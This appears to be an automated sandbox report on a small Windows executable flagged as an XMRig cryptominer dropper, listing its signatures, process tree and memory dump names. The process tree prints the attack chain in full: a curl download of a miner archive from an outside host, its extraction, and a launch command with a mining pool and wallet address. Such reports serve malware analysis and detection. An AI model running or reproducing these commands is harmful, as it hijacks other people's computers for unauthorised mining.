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13/03/2024, 08:45
240313-knsznahb2w1013/03/2024, 08:44
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240313-kms82aah481012/03/2024, 18:00
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240312-wf31fahd5810Analysis
- max time kernel
1197s - max time network
1200s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
13/03/2024, 08:43
General
- Target test - Copy - Copy (2) - Copy.exe
- Size 6KB
- Sample240313-kms82aah48
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 61 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (2) - Copy.exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy (2) - Copy.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\MFJjE9lR.bat" "2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
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C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
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C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
MFJjE9lR.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/468-58-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-62-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-25-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-27-0x00000191761D0000-0x00000191761F0000-memory.dmp
memory/468-59-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-28-0x00000191761F0000-0x0000019176210000-memory.dmp
memory/468-30-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-29-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-31-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-33-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-35-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-36-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-37-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-39-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-40-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-42-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-43-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-44-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-45-0x00000191761D0000-0x00000191761F0000-memory.dmp
memory/468-46-0x00000191761F0000-0x0000019176210000-memory.dmp
memory/468-47-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-48-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-49-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-50-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-51-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-52-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-53-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-54-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-55-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-56-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-57-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-22-0x0000019174880000-0x00000191748A0000-memory.dmp
memory/468-26-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-24-0x00000191748D0000-0x0000019174910000-memory.dmp
memory/468-84-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-60-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-63-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-64-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-65-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-66-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-67-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-68-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-69-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-70-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-71-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-72-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-73-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-74-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-75-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-76-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-77-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-78-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-79-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-80-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-81-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-82-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-83-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-61-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-85-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-86-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-87-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-88-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-89-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-90-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/468-91-0x00007FF65FD30000-0x00007FF660834000-memory.dmp
memory/4752-0-0x0000000000760000-0x0000000000768000-memory.dmp
memory/4752-3-0x00007FF8E6DB0000-0x00007FF8E7871000-memory.dmp
memory/4752-23-0x00007FF8E6DB0000-0x00007FF8E7871000-memory.dmp